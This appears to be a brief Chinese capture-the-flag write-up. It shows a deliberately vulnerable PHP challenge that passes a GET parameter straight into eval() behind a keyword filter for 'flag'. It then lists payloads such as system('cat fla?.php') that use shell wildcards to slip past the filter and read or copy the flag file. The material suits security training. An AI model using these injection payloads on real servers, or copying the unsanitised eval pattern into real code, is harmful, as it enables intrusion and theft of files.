? 可以代替一个字符
*可以代替多个字符
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
不能出现flag
如果要可以输出flag,就要用命令,因为命令中有些关键词可以用?*代替
法一:
?c=system('ls');
?c=system('cat fla?.php');
或
?c=system('cat fla*');
法二:
?c=system("cp fla?.php 1.txt");
或
?c=system('cp fla?.php 1.txt');
1.txt